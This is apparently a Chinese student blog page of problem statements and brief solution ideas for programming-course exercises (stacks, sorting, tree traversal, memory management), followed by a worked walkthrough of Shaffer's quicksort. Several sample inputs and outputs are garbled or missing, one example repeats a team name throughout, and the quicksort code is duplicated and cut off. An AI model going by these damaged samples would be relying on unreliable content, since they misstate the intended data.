b 4 vs. 0 c 
b 0 vs. 0 d 
c 0 vs. 0 a 
c 0 vs. 0 b 
c 1 vs. 0 d 
d 3 vs. 0 a 
d 0 vs. 0 b 
d 0 vs. 0 c

样例输出

text

1
2

manutd fcbarca 
d b

样例说明

第一组数据：每支球队的积分与净胜球数分别为：

manutd：16分，净胜球数12。
manutd：8分，净胜球数4。
manutd：5分，净胜球数 −5。
manutd：4分，净胜球数 −11。

第二组数据：每支球队的积分与净胜球数分别为：

d：7分，净胜球数2。
b：7分，净胜球数1。
a：7分，净胜球数0。
c：7分，净胜球数 −3。

所有球队的积分相同，但是净胜球数较多的队伍排名更加靠前。

解题思路

使用结构体存储球队的名称、净进球数和得分，使用一个结构体数组存储所有球队信息。

注意找不到已记录球队就新建球队的操作。

5. 合法的括号串

个人难度评级：3

问题描述

一个合法的括号串，是指只包含括号的串，如果满足如下条件：

（1）<> () [] {} 这四对括号是合法的；

（2）如果r是合法括号串，则 <r> (r) [r] {r} 也是；

（3）如果r，s是合法括号串，则rs也是；

所以 «» , [<>{}(())],[({<>})] 是合法的括号串，而)(,[( ])就不是。

输入形式

输入第一行正整数t (10 ≤ n ≤ 100)，表示有多少组测试数据。

后面有t行，每行一个只包含8种括号符号的括号串。

40% 的括号串的长度L 2 ≤ L≤ 20；

30% 的括号串的长度L 2 ≤ L≤ 200；

20% 的括号串的长度L 2 ≤ L≤ 2000；

10% 的括号串的长度L 2 ≤ L≤ 20000；

输出形式

对于每组测试数据，如果括号串是合法的，输出 “Yes”（输出没有引号）占一行，否则，输出 “No”（输出没有引号）占一行。

样例输入

text

6
<<>> 
)(
[<>{}(())]
[({<>})]
[(])
<([{

样例输出

text

Yes
No
Yes
Yes
No
No

解题思路

括号配对是老例题了。使用栈来存储前面未配对的左括号，遇到右括号检验一下是否匹配，然后弹栈。惟需注意：

整组数据算完之后将栈清空，否则下一组即使匹配，最后也会栈内还有元素而不匹配；
弹栈之前检测栈空，这个应该很容易看出来，一般样例就能反映。

6. 世界杯来了

个人难度评级：3

问题描述

2018年俄罗斯世界杯结束了，法国获得冠军，全世界球迷度过了一个非常愉快的夏天。作为中国球迷，不能总是看别人踢球，这不福利来了，根据FIFA（国际足联）及全体成员协会的一致决定，2118年世界杯将在中国举办，作为东道主，中国队将无需参加预选赛而直接参加决赛阶段的比赛。

比赛规则如下：

总共n（n为偶数）个球队参加比赛
按照分组赛积分排名，前n/2的球队进入淘汰赛
积分排名的规则如下：球队获胜得3分，平局得1分，失利得0分，按照积分递减、净胜球递减以及进球数递减方式排名编写一个程序，根据给出的参赛队伍名单和所有比赛的结果，找出成功进入淘汰赛阶段的球队名单。

输入形式

第一行输入包含唯一整数n(1<=n<=50)，参加世界杯决赛的球队数量。接下来的n行是各球队的名字，为长度不超过30个字符的英文字符。接下来的n*(n-1)/2行，每行格式name1-name2 num1:num2（0<=num1, num2<=100），表示对阵球队及比分.

输出形式

输入n/2行，表示进入淘汰赛阶段的球队，按照字典序进行排列，每个球队名字占一行

样例输入

text

`1`	`4ABCDA-B 1:1A-C 2:2A-D 1:0B-C 1:0B-D 0:3C-D 0:3`

样例输出

text

AD

解题思路

跟第4题整体思路差不多，增加了一点难度主要在字符串的分割上。只要掌握根据分隔符将字符串分割成两半的方法就行。

7.F1方程式冠军

个人难度评级：3

问题描述

一级方程式F1锦标赛由一系列称为大奖赛的分站赛组成。每一场比赛的车手都根据他们的最后位置获得积分。只有前10名车手按以下顺序获得分数：25、18、15、12、10、8、6、4、2、1。在锦标赛结束时，得分最多的车手是冠军。如果有平分，则冠军是赢的最多的人（即排位第一）。如果还是平分，则选择得到排位第二最多的人，依此类推，直到没有更多的排位进行比较。

后来又提出了另一个得分制度，其中冠军是赢的最多的。如果有平手，冠军是得分最多的。如果仍然存在平手，则按原来的得分制度进行，即比较第二、第三、第四、… 排位的次数。

在本赛季，你会得到所有比赛的结果，你将根据两个得分系统来分别确定冠军。数据保证两套系统都能得到唯一的冠军。

输入形式

第一行一个整数t（1<=t<=20），t是分站赛的场次数。之后是每个分站赛的最终排位情况，每个的第一行一个整数n(1<=n<=100) 表示排位车手人数，之后n行按排位列出车手的名字，排位从第一到最后，车手的名字为长度不超过50的英文字符，大小写区分。

输出形式

输出为两行，第一行为按照原始规则确定的冠军，第二行是按照可选规则确定的冠军。

样例输入

text

`1`	`33applebananapear2pearbanana2applebanana`

样例输出

text

`1`	`bananaapple`

解题思路

和第4题差不多的壳，但主要考察的是结构体的排序，手写不同的比较函数是重点。

注意比较的时候最多可能比较到得到10-20名的次数，所以得到某名次计数的数组要开得大些。

8. 买房与选房

个人难度评级：7

问题描述

在 X 国许多一线城市住房非常紧张，政府部门制定了相关的政策，重点满足住房刚性需求（住房面积为0，社保缴纳必须超过2年），然后才能照顾改善性需求（住房面积大于0）。

具体的原则为：

对于刚性需求，缴纳社保月数多者优先
对于改善性需求，现有自有住房面积小者优先

由于房源有限，为公平起见，开发商在不违背上述原则下特意指定同等条件下申报时间同时作为排队的条件，时间越早优先级越高。

最近有一批新楼盘准备开盘，总共有 m （≤1000）套房，所有的网上申报工作都已经完成并保存到二进制文件house.bin中，申请者提交了自己的基本材料，格式为：身份证号（18位，加1位空字符 ‘\0’，共19位）、社保缴纳月数、自有住房面积、申报时间 (格式为：MM-DD-YYYY，10位字符串，加1位空字符’\0’，共11位)，社保缴纳月数、自有住房面积均为整数，文件最后为总报名人数 n（≤105）。

申请者可以通过身份证号查询最终的结果。

输入形式

输入的第一行为两个正整数 m（≤1000）和 T （ **T_ ≤ n**_ ），分别表示本次开盘的楼盘可供申请的套数以及查询的组数

接下来的 T 行，每行为一个18位的字符串，表示需要查询的身份证号

输出形式

输出为 T 行，对应每个查询的输出结果：

1. 申请者不符合购房条件或排位超出了所推出的房源数量不能中签，则输出 “Sorry”;

2. 申请者符合购房条件，且该名次人数为1人，则直接输出一个整数，表示选房顺序号;

3. 申请者符合购房条件，且该名次人数有多人，同时人数不大于所剩房源数量，则直接输出用空格分隔的两个整数，表示选房顺序号区间;

4. 申请者符合购房条件，且该名次人数有多人，同时人数大于所剩房源数量，则输出用 / 分隔两个整数，如 A/B，表示 B 人中选 A 人，选房顺序为排名倒数 A 名范围。

样例输入

text

9 6
350102200609166049
350102200609163286
250342323545313434
130502201805070787
110101196003074525
430102201102181455

样例输出

text

2
3 4
Sorry
6
2/3
Sorry

代码框架

** 建议复制以下代码框架，在此基础上完成本题需求。此建议不是必须，你可以忽略。**

cpp

#include <iostream>

using namespace std;

struct people

{

    char id[19];                  /* 身份证号码 */

    int social;                     /* 社保缴纳月数 */

    int area;                       /* 现有住房面积 */

    char date[11];              /* 申报日期 */

};

people* getMess(int &n);

int main()

{

    people *person;          /* 指向所有报名人的基本资料首地址，通过调用函数 getMess 获取 */     

    int n;                            /* n 为报名人数，通过调用函数 getMess 获取 */

    person=getMess(n);



    // ...



    return 0;

}

people* getMess(int &n)            /* 将文件数据读入内存 */

{

    FILE *fp;

    fp=fopen("house.bin","rb");

    fseek(fp,-1*(long)sizeof(int), 2);

    fread(&n, sizeof(int),1, fp);

    rewind(fp);

    people *tmp=new people[n];

    fread(tmp, sizeof(people), n, fp);

    fclose(fp);

    return tmp;

}

测试用例说明

10% 的用例无同等条件的数据，30% 的用例只有刚性需求，20% 的用例只有改善性需求。

文件下载

请下载压缩文件（见CG平台）并在存放源程序文件的文件夹下解开，其中二进制文件house.bin包含了相关的测试数据，test.txt是相关测试数据的文本格式，可用于程序测试。

解题思路

我引入了一个”优先级 “整型变量来决定排到房源的优先级，使这个变量必满足刚性需求社保久> 刚性需求社保少>改善需求小房子>改善需求大房子>没有购房资格，在此顺序绝对成立的基础上，申请早的优先级高。这个可以从我的代码里详细了解。

然后，将其与对应的people结构体组成pair并使用stable_sort排序，按优先级从大到小。这样就可以很容易地得到某个人的名次和同名次人的范围。

我的代码一个点都没过，但我觉得我的思路是对的……

9. 二叉树遍历，从前序、中序到后序

个人难度评级：4

问题描述

二叉树是一种非常重要的数据结构，非常多其他数据结构都是基于二叉树的基础演变而来的。对于二叉树，深度遍历有前序、中序以及后序三种遍历方法。

三种基本的遍历思想为：

前序遍历：根结点 —> 左子树 —> 右子树

中序遍历：左子树 —> 根结点 —> 右子树

后序遍历：左子树 —> 右子树 —> 根结点

比如，求以下二叉树的各种遍历

前序遍历：1 2 4 5 7 8 3 6

中序遍历：4 2 7 5 8 1 3 6

后序遍历：4 7 8 5 2 6 3 1

需要你编写程序解决的问题是：已知一个二叉树的前序遍历和中序遍历的结果，给出该二叉树的后序遍历的结果。

输入形式

有多组测试数据，每组测试数据三行，每组测试数据第一行只有一个正整数n，表示二叉树节点的数目，n=0意味着输入结束并且不需要处理。

每组测试数据第二行是二叉树的前序遍历的结果，是一个长度为n的字符串，每个节点由一个字符表示，字符是大小写英文字母及10个数字, 不同的节点用不同的字符表示，也即无论前序遍历和中序遍历的字符串中没有重复的字符。

每组测试数据第二行是二叉树的中序遍历的结果，也是一个长度为n的字符串。

40% 的测试数据1 ≤ n≤ 10；

30% 的测试数据1 ≤ n≤ 20；

20% 的测试数据1 ≤ n≤ 40；

10% 的测试数据1 ≤ n≤ 62；

输出形式

对于每组测试数据，输出一行，是一个长度为n的字符串，表示二叉树后序遍历的结果。

样例输入

text

8
12457836
42758136
4
abcd
abcd
4
abcd
dcba
0

样例输出

text

1
2
3

47852631
dcba
dcba

解题思路

使用递归方法。对于每个子树（输入数据本身也算一棵子树），先得到根节点，然后利用其分别分割左子树和右子树并分别传入递归，最后输出根节点。

部分参考了 9. 二叉树遍历，从前序、中序到后序 (递归即可解决)_yogdzewa 的博客 - CSDN 博客。

10. 内存管理

来源：Codeforces 7B

个人难度评级：4

问题描述

离第一个操作系统HNU-OS发布已经没有多少时间了，但它的一些组件还没有完成，内存管理器就是其中之一。根据开发人员的计划，在第一个版本中，内存管理器将非常简单和直观。它将支持三个操作：

alloc n —— 分配n个字节内存，返回已分配块的正整数标识符x(x初始值为0，每次分配增长1)
erase x —— 删除标识符x所在的块
defragment —— 整理空余内存碎片，将所有块尽量靠近内存的开始位置，并保持各自的顺序

在此情况下，内存模型非常简单，它是一个m字节的序列，为了方便起见，从第一个字节到第m字节进行编号。

第一个操作alloc n有一个参数n，表示被分配的内存块大小。在处理此操作时，内存中将分配n个连续字节的空闲块。如果这些块的数量超过一个，则优先选择最接近内存开始 (即第一个字节) 的块。所有这些字节都被标记为非空闲，内存管理器返回一个32位整数数字令牌，代表该块的标识符。如果不可能分配这样大小的空闲块，则返回NULL。

第二个操作erase x以x为参数，表示某个块的标识符。此操作释放系统内存，将此块的字节标记为空闲以供进一步使用。如果此标识符没有指向先前分配的块 (该块尚未被释放)，则返回ILLEGAL_ERASE_ARGUMENT。

最后一个操作defragment没有任何参数，只会使占用的内存部分更接近内存的开始，而不会更改它们各自的顺序。

在当前的实现中，将使用从1开始的连续整数作为标识符。每个成功的alloc操作过程都应该返回接下来的编号。不成功的alloc操作不影响计数。

编写内存管理器的实现，为每个alloc命令输出返回的值，为所有失败的erase命令输出ILLEGAL_ERASE_ARGUMENT。

输入形式

输入数据的第一行包含两个正整数t和m（1<=t<=500, 1<=m<=105)，其中t表示需要内存管理器来处理的操作个数，m表示有效的内存字节大小。接下来的t行每一行代表一个操作。

输出形式

输出有多行，每行或者是alloc操作的结果，或者是失败的erase操作的结果ILLEGAL_ERASE_ARGUMENT。其顺序与输入的操作次序一致。

样例输入

text

`1`	`6 10alloc 5alloc 3erase 1alloc 6defragmentalloc 6`

样例输出

text

12NULL3

解题思路

定义memblock结构体存储内存块，包含标识符、开始点和结束点，和一个是否已经被释放的bool标记。

借鉴了堆的思想，将靠前的内存块前置，靠后的内存块后置，已经释放的内存块则放到最后面去。在插入和释放完成后进行排序，因为相对位置已经改变。

分配新内存块时，先寻找块间的剩余空间，如果不够再尝试从尾部插入，然后排序。释放时将编号对应的块记为已经释放，然后排序。碎片整理操作则是挨个移动已经有序的各个块即可。

11. 平均方差

个人难度评级：1

问题描述

一个数列的平均方差是指数列中的每个元素与数列的平均值的差的平方和的平均值，比如下面数列：

1 2 3 4 5 6 7

其平均值为4，每个元素与平均值的差的平方为

9 4 1 0 1 4 9

其平方和为28，所以该数列的平均方差为4。

对给定的数列，求出其平均方差。

输入形式

有多组测试数据。

每组测试数据第一行是一个正整数N，表示数列中元素个数，接下来一行N个用空格分隔开的正整数，表示数列的N个元素，每个元素的值都是不大于500的正整数。

N=0表示输入结束，并且不需要处理。

40% 的数列元素个数N 1 ≤ N≤ 10；

30% 的数列元素个数N 1 ≤ N≤ 100；

20% 的数列元素个数N 1 ≤ N≤ 1000；

10% 的数列元素个数N 1 ≤ N≤ 10000；

输出形式

对于每组测试数据，输出一个整数：平均方差。平均方差不是整数的，输出其向下取整的整数。比如平均方差是4.5，输出4。

样例输入

text

7
1 2 3 4 5 6 7
4
1 2 3 4
0

样例输出

text

1
2

4
1

解题思路

这玩意有啥解题思路？算就是了。记得适时用double。

12. IP地址

个人难度评级：2

问题描述

一个IP地址由32位二进制的数组成，比如：

111111111111111111111111000000002

为了便于记忆，我们将8个二进制位用一个十进制数表示，一个IP地址由四个十进制数表示，上述的IP地址表示为：

255.255.255.0

现在给你一个上述形式的IP地址，请回答IP地址的32个二进制位中，有多少位是1。

如IP地址为255.255.255.0，其中24位是1。

输入形式

有多组测试数据。

测试数据第一行是一个正整数T，表示测试数据组数。

每组测试数据是一个IP地址，形式为：

IP1.IP2.IP3.IP4

其中0 ≤IP1,IP2,IP3,IP4≤ 255, 用十进制表示。每个IP地址不保证是实用IP地址。

40% 的测试数据组数T 10≤T≤ 102；

30% 的测试数据组数T 102≤T≤ 103；

20% 的测试数据组数T 103≤T≤ 104；

10% 的测试数据组数T 104≤T≤ 105；

输出形式

对于每个IP地址，输出一行包含一个非负整数：该IP地址的32个二进制位中，1的位数。

样例输入

text

5
255.255.255.0
127.0.0.1
0.0.0.1
1.2.3.4
0.0.0.0

样例输出

text

提示：样例中32位的IP地址为：

111111111111111111111111000000002

011111110000000000000000000000012

000000000000000000000000000000012

000000010000001000000011000001002

000000000000000000000000000000002

解题思路

核心在于进制转换的思想，以及第6题分割字符串的方法。先分割再转换进制，不就很简单了吗？

13. 开关与灯

来源：CodeForces 985B（我湖不愧是9B5）

个人难度评级：2

待完善

14. 可删除的点

个人难度评级：1

问题描述

平面上有n个不同的点，没有在Y轴的点，检查是否存在这样一个点，将其删除后其余所有的点均位于Y轴的同一边。

输入形式

输入第一行包含一个正整数n(2<=n<=105)。

接下来的n行，包含所有点的坐标，第i行包含两个整数xi和yi(|xi|、|yi|<=109，xi<>0)。

输出形式

如果存在这样的点，则输入 “Yes”，否则输出 “No”。

样例输入

text

`1`	`31 1-1 -12 -1`

样例输出

text

Yes

解题思路

有一个坑点，就是如果所有点本来就在一边，也是符合要求的，别的没什么好说的。

15. 字符串反转3

个人难度评级：3

问题描述

给出一个字符串，请将其每个单词反转后输出。

输入形式

输入第一行为一个正整数N，表示测试用例数，接下来的N行，每行一个字符串。

输出形式

输出N行，每行对应一个反转后的字符串。

样例输入

text

`1`	`3olleh !dlrowm'I morf .unhI ekil .tae`

样例输出

text

`1`	`hello world!I'm from hnu.I like eat.`

解题思路

这题蛋疼就蛋疼在数据5规模相当大，用C++ 的库函数似乎很容易在第5个点超时（没错我也超了）。据大佬说，写一个仅基于C的版本能够大幅度提升效率。如果不是难以预计的TLE（数据规模都没给），这个题并不是很难。

16. n，还是n

个人难度评级：2

问题描述

输出包含n或者是n的倍数的所有数

输入形式

正整数m,n（0<m，n<1000000）

输出形式

从小到大排列的不大于m的特殊正整数（包含n，或者是n的倍数）。

样例输入1

text

20 7

样例输出1

text

7 14 17

样例输入2

text

200 11

样例输出2

text

`1`	`11 22 33 44 55 66 77 88 99 110 111 112 113 114 115 116 117 118 119 121 132 143 154 165 176 187 198`

样例说明

包含n的数可以考虑使用字符串查找解决

解题思路

数据规模不大，倍数这个条件直接 % 就行。包含这个条件可以用字符串find成员函数处理。

17. 字符串排序

个人难度评级：1

问题描述

定义一个字符串的无序度为所有位置后面的字母比该位置的字母小的总数之和。比如 “DAABEC’‘这个字符串的无序度是5，因为D后面有4个位置比它小（AABC），E后面有1个比它小（C），其它位置后面没有比自己小的。” AACEDGG “的无序度为1（E后面有一个D比它小）。” ZWQM " 的无序度为6，每个位置后面所有的字母都比它小。
现在你的任务是给定一些字符串（只由大写字母组成），把他们按照无序度从小到大排序，如果无序度一样，那么就按照输入的相对顺序排序。

输入形式

单组测试数据。
第一行有两个整数n(0 < n <= 50) 和m (0 < m <= 100)，分别表示输入的字符串的长度和字符串的个数。
接下来m行，每一行包含一个长度为n的字符串，只由大写字母组成。

输出形式

输出m行，表示排序之后的字符串。

样例输入

text

`1`	`10 6AACATGAAGGTTTTGGCCAATTTGGCCAAAGATCAGATTTCCCGGGGGGAATCGATGCAT`

样例输出

text

`1`	`CCCGGGGGGAAACATGAAGGGATCAGATTTATCGATGCATTTTTGGCCAATTTGGCCAAA`

解题思路

照着题目要求算无序度即可。我建议用pair类型分别存储字符串和无序度两个键值，然后用stable_sort自定义排序函数排序，以保持原有输入顺序。没必要排序的时候再算无序度，会很慢。

18. 三角形的面积

个人难度评级：1

问题描述

已知三角形的三个顶点的坐标，求该三角形的面积。

输入形式

有多组测试数据。

每组测试数据占一行，6个用空格分隔开的浮点数：x1,y1,x2,y2,x3,y3。表示三角形三个顶点的坐标。

一行6个0（形如0 0 0 0 0 0），表示输入结束，并且不需要处理。

40% 的顶点坐标 -10 ≤ xi,yi≤ 10；i=1,2,3

30% 的顶点坐标 -100 ≤ xi,yi≤ 100；i=1,2,3

20% 的顶点坐标 -1000 ≤ xi,yi≤ 1000；i=1,2,3

10% 的顶点坐标 -10000 ≤ xi,yi≤ 10000；i=1,2,3

输出形式

对于每组测试数据，输出对应三角形面积，保留小数点后6位。

样例输入

text

1
2
3

1 2 3 4 -2 8
0 0 0 1 1 0
0 0 0 0 0 0

样例输出

text

1
2

9.000000
0.500000

Tips：如果使用浮点数，请注意精度问题，推荐使用double

解题思路

数论题，如果会了海伦公式，很简单。

19. 循环数

来源：POJ 1047

个人难度评级：3

问题描述

循环数是n位长度的整数，当乘以从1到n的任何整数时，产生原始数字的 “循环”。也就是说，如果考虑最后一个数字之后的数字“绕” 回到第一个数字，两个数字中的数字序列将是相同的，尽管它们可能从不同的位置开始。例如，数字142857是循环的，如下表所示：

        142857 *1 = 142857
        142857 *2 = 285714
        142857 *3 = 428571
        142857 *4 = 571428
        142857 *5 = 714285
        142857 *6 = 857142

编写一个程序来确定数字是否是循环数。

输入形式

输入一个数，长度在2到60位之间 (请注意，前面的零不应该被删除，它们被认为是确定n的大小和计数的一部分，因此，“01” 是一个两位数的数字，与 “1” 是一个一位数的数字不同。) 。

输出形式

对于每个输入，输出一行 (Yes或No) 标识它是否是循环数。

样例输入

text

样例输出

text

Yes

解题思路

主要的麻烦是如何判断一个数和另一个是可以绕回来，以及如何处理60位数字的乘法问题。

事实上，如果一个序列可以分成两部分，调换顺序之后与另一个序列相等（或者进一步地，两个部分都是另一个序列的子串），那就可以” 绕回来 “。我枚举了分界线，使用std::string的substr成员函数分割字符串，并使用上文提到的find成员函数判断子串。

如此长数字的乘法，属于高精乘低精的问题，可以仿照竖式计算的方法计算。

20. 电能消耗

来源：Codeforces 10A

个人难度评级：1

问题描述

汤姆对他最喜欢的笔记本电脑的耗电量很感兴趣。他的笔记本电脑有三种模式。在正常模式下，笔记本电脑每分钟消耗P1瓦。在汤姆最后一次移动鼠标或触摸键盘后的T1分钟，屏幕保护程序启动，每分钟的功耗变化为P2瓦。最后，从屏幕保护程序启动到T2分钟后，笔记本电脑切换到 “睡眠” 模式，每分钟消耗P3瓦。当笔记本电脑处于第二或第三模式时，如果汤姆移动鼠标或触摸键盘，则切换到第一种 (正常) 模式。汤姆使用笔记本电脑工作的时间可以分为n个时间间期 [l1, r1]、[l2, r2]、…、[ln, rn]。在每个间期，汤姆连续移动鼠标并按下键盘。在间期之间，汤姆什么都不做。请找出在间期 [l1, rn]笔记本电脑的总耗电量。

输入形式

第一行包含6个整数n、P1、P2、P3、T1、T2(1<=n<=100，0<=P1、P2、P3<=100，1<=T1、T2<=60)。接下来的n行包含了汤姆工作的期间，第i行是两个用空格分隔的整数li和ri(0<=li<=ri<=1440, 当i<n时ri<li+1）, 表示工作期间的开始时间和结束时间。

输出形式

输出总的耗电量。

样例输入

text

`1`	`2 8 4 2 5 1020 3050 100`

样例输出

text

解题思路

如果要说有难点的话，就是L1和Rn的选取存储。我的办法是将第一组特殊处理，具体的可以直接看我代码。

21. 计算校验码

个人难度评级：3

问题描述

传送一个B（B≤16）进制的数值N时，最后加上一个一位（B进制的）校验码，使得N加上校验位后能被B-1整除。比如十进制的数值12310，其校验码就是3，因为十进制数值123310能被9整除。16进制的数7816，其校验码为0，因为16进制的78016是15的倍数。超过十进制后，用字母a表示10，字母b表示11，字母c表示12，字母d表示13，字母e表示14，字母f表示15。

告诉你进制B，以及一个B进制的正整数N，要求你计算正整数N在B进制下的校验码。

输入形式

输入第一行正整数t (10 ≤ n ≤ 100)，表示有多少组测试数据。

后面有t行，每行两个正整数B，N（2≤ B≤16），中间用一个空格隔开，B是10进制整数，N用B进制形式表示。测试数据保证没有非法的B进制数N（也即N中每一位都是在0到B-1之间，没有前导0）。

40% 的测试数据N的位数L 1 ≤ L≤ 10；

30% 的测试数据N的位数L 1 ≤ L≤ 102；

20% 的测试数据N的位数L 1 ≤ L≤ 103；

10% 的测试数据N的位数L 1 ≤ L≤ 104；

输出形式

对于每组测试数据，输出一位占一行：正整数N在B进制下的校验码。（如果校验码可以为B-1，也可以为0，输出0）。

样例输入

text

样例输出

text

样例说明

第一行的4表示有4组测试数据，下面四行，每行一组测试数据。

第一组测试数据10进制数123最后添加检验码3，10进制数1233是9（=10-1）的倍数

第二组测试数据16进制数78最后添加检验码0，16进制数780是15（=16-1）的倍数

第三组测试数据16进制数1234321最后添加检验码e（=14），16进制数1234321e是15（=16-1）的倍数

第四组测试数据12进制数ab最后添加检验码1，12进制数ab1是11（12-1）的倍数

【Tips】

B进制的数能被B-1整除，当且仅当各位数字和能被B-1整除。

第一组测试数据10进制数123最后添加检验码3，10进制数1233各位数字和是9，是9的倍数

第二组测试数据16进制数78最后添加检验码0，16进制数780各位数字和是15，是15的倍数

第三组测试数据16进制数1234321最后添加检验码e，16进制数1234321e各位数字和是30，是15的倍数

第四组测试数据12进制数ab最后添加检验码1，12进制数ab1各位数字和是22，是11的倍数

解题思路

获取校验码的过程，本质上是一个高精度除法，大数除小数。先将每一位用十进制整数表示（即使转换完大于10也算作一位），然后再使用竖式计算的方式算出余数，要求将其乘以10再加上校验码，除以进制 - 1能够整除。这样可以枚举从0到n-1的整数作校验码。

每一组数据完成后，一定要清空按位存储原数字的数组，否则会遗留除法计算结果，影响下一组数据计算！

不建议使用itoa函数将数字转换为二进制字符串，更推荐自己实现（反正只需要转一位，即将整型校验码转为char），因为它是GNU C++ 标准的函数，不被许多ISO C++ 的编译器支持。

此外，朋友提供了一种数论的办法：将整个数的每一位相加，再加上一个0到n-2的数，如果能够被n整除，则加上的这个数就是校验码。

Clifford A. Shaffer 数据结构教材的快速排序详解

Tue, 11 May 2021 00:00:00 +0000

近日学习Clifford A. Shaffer的《数据结构与算法分析》（Data Structure and Algorithm Analysis）的快速排序算法部分，深感例子的难懂，遂决定自己写一个这本书快速排序算法的详解。

算法思想与过程

Shaffer在本节的一开始说了这么一段话：

Before we get to Quicksort, consider for a moment the practicality of using a
Binary Search Tree for sorting. You could insert all of the values to be sorted into
the BST one by one, then traverse the completed tree using an inorder traversal.
The output would form a sorted list. This approach has a number of drawbacks,
including the extra space required by BST pointers and the amount of time required
to insert nodes into the tree. However, this method introduces some interesting
ideas. First, the root of the BST (i.e., the first node inserted) splits the list into two
sublists: The left subtree contains those values in the list less than the root value
while the right subtree contains those values in the list greater than or equal to the
root value. Thus, the BST implicitly implements a “divide and conquer” approach
to sorting the left and right subtrees. Quicksort implements this concept in a much
more efficient way.

Data Structure and Algorithm Analysis Edition 3.2 (C++ version), Page 245

他提到了二叉搜索树（BST），这是一种前序遍历结果有序的树结构。对于BST的每一颗子树来说，根节点左子树的元素都比它小，右子树中的元素都比它大，这样一来根节点元素的位置就是确定的了。

BST用的是一种分治的思想，也就是对于一个节点的左右子树，要么为空，要么仍然是一颗BST。使用这样的递归定义，我们就可以构建出一棵二叉搜索树。对于一个要构建为二叉搜索树的区间，先随意确定一个根节点的值。这样做虽然可能影响效率，但也可以构建一棵完整的BST。然后，将小于它的值放到左子树中，将大于它的值放到右子树中。然后再对这两边分别进行构建，如此重复。

但是，二叉搜索树总是有结构性时间空间消耗的，于是就有人想到把它 “拍扁”，于是诞生了快速排序：

Quicksort first selects a value called the pivot. (This is conceptually like the
root node’s value in the BST.) Assume that the input array contains k values less
than the pivot. The records are then rearranged in such a way that the k values
less than the pivot are placed in the first, or leftmost, k positions in the array, and
the values greater than or equal to the pivot are placed in the last, or rightmost,
n−k positions. This is called a partition of the array. The values placed in a given
partition need not (and typically will not) be sorted with respect to each other. All
that is required is that all values end up in the correct partition. The pivot value itself
is placed in position k. Quicksort then proceeds to sort the resulting subarrays now
on either side of the pivot, one of size k and the other of size n − k − 1. How are
these values sorted? Because Quicksort is such a good algorithm, using Quicksort
on the subarrays would be appropriate.

Data Structure and Algorithm Analysis Edition 3.2 (C++ version), Page 245

也就是说，每次排序都确定下来一个元素在本轮待排序列中的位置（称为 “枢轴”/“pivot”），也就是确定了这个元素在整个序列中的位置，然后将枢轴两边（不含枢轴）直到本轮序列两端的部分分别再进行一次快速排序。对位置不合适的元素，成对地进行交换，这样就可以保证一边小一边大了。

每轮排序的目的都是确定一个元素（即枢轴）的位置，几轮分治下来就能够把所有元素的位置全部确定下来。

枢轴和根节点，对左右两边排序和对左右两边建树，到这里你应该能感觉到理念比较像了吧。只不过建BST时是从数组中建，可以直接将数分到左子树区域和右子树区域；排序时不占用额外空间，所以要找到一对位置不正确的才能交换，而且枢轴的位置并不是那么固定。

更具体来说，在这本书中，选择（左边界 + 右边界）/2的位置为枢轴，先将其与最后一个元素交换，然后再将枢轴前的元素分辨大小；最后，再将枢轴以交换的方式移至正确的位置。

听不明白？上例子！

示例

下面我们使用蓝色字体表示某层回溯的排序范围，用红色加粗字体表示枢轴，用橙色表示i，用黄色表示j。

这是一个有9个元素的例子。

Column 1	Column 2	Column 3	Column 4	Column 5	Column 6	Column 7	Column 8	Column 9
31	73	44	13	7	28	22	64	53

初始的排序序列为 [0,8]，选择枢轴为第5个元素7.。

Column 1	Column 2	Column 3	Column 4	Column 5	Column 6	Column 7	Column 8	Column 9
31	73	44	13	7	28	22	64	53

为了将7移到最后，我们交换7和53。

Column 1	Column 2	Column 3	Column 4	Column 5	Column 6	Column 7	Column 8	Column 9
31	73	44	13	53	28	22	64	7

因为小于7的数应该待在左边，从64开始往前，找第一个小于7的数。然而并没有，于是j指向了31。

然后i从31开始准备往右遍历，找比7大的数，可惜一开始i和j就交叉了。i和j交叉的地方，就是枢轴应该待的位置。

好，现在交换31和7。

Column 1	Column 2	Column 3	Column 4	Column 5	Column 6	Column 7	Column 8	Column 9
7	73	44	13	53	28	22	64	31

7的位置已经确定了，因为左边根本没有元素，接下来排序的范围就是右边的 [1,8]。确定枢轴为53。

Column 1	Column 2	Column 3	Column 4	Column 5	Column 6	Column 7	Column 8	Column 9
7	73	44	13	53	28	22	64	31

将53与最后一个元素31交换。

从73开始找第一个大于53的数，是73；从64开始找第一个小于53的数，是22。

交换73和22。

继续往左往右找，直到i找到了73。

i和j重合，那就将对应元素与枢轴53交换。

53也到了序列中它应该待的位置，先对原序列53左边的 [1,5] 进行排序。选择13作为枢轴。

将13与28交换。

从左边找第一个大于13的数，是22；从右边找第一个小于13的数，发现没有，于是i和j又在下标1即22处相遇了。

交换22和13。

13到了最终位置。左边没有元素，所以对 [2,5] 进行排序。选择28作为枢轴。

将28与22交换。

从左边找第一个大于28的数，为44；从右边找第一个小于28的数，为22。

将44与22交换。

从22再找比28大的数，没找到，在44的位置i与j重合。

将28与枢轴44交换。

现在28到了最终位置。

因为28左边只有一个元素，这部分肯定是有序的，22就该在这个位置；于是对 [4,5] 进行快速排序，选取枢轴为31。

将31与44交换。

从44找比31大和比31小的数，但是因为除枢轴就44一个数，i和j当然会在44相遇。

交换44和31。

于是31到了最终的位置，左边没有元素，右边只有44，所以分治到了最小的范围，不可以再分治下去。

（顺便提一句题外话：从这里可以看出快速排序在元素很少的时候效率比较低，所以如果希望优化快排的话，可以搞一个在元素小的时候换插排）

一路回溯，最终我们回到了刚刚确定53位置的时候，那时的状态是这样的。排序范围 [1,8]，枢轴53。

排序区间中，枢轴53的左边已经排序完成，而右边没变，还没轮到排序。下面我们就排 [7,8]。选取64为枢轴。

将64与序列尾部的73交换。

照例移动i和j，当然毫无悬念地会在73重合。

将73和64交换。

至此，64归位，左边没有元素，右边只有73，所以 [7,8] 排序完成。

回溯，发现这已经是最后一块未排序区间了，所以全部数都已经排序完成。

在研究快速排序的回溯过程时，也可以选择使用教材图7-14（英文版P248）那样的示意图，能够更加直观地描述该回溯到哪一层，如下图。

代码解释

有了上面对算法本身的理解，我相信理解代码应该不是很大的困难了。

主函数是这样的：

cpp

template <typename E, typename Comp>
void qsort(E A[], int i, int j) { // Quicksort
if (j <= i) return; // Don’t sort 0 or 1 element
int pivotindex = findpivot(A, i, j);
swap(A, pivotindex, j); // Put pivot at end
template <typename E, typename Comp>
void qsort(E A[], int i, int j)
{ // Quicksort
    if (j <= i)
        return; // Don’t sort 0 or 1 element
    int pivotindex = findpivot(A, i, j);
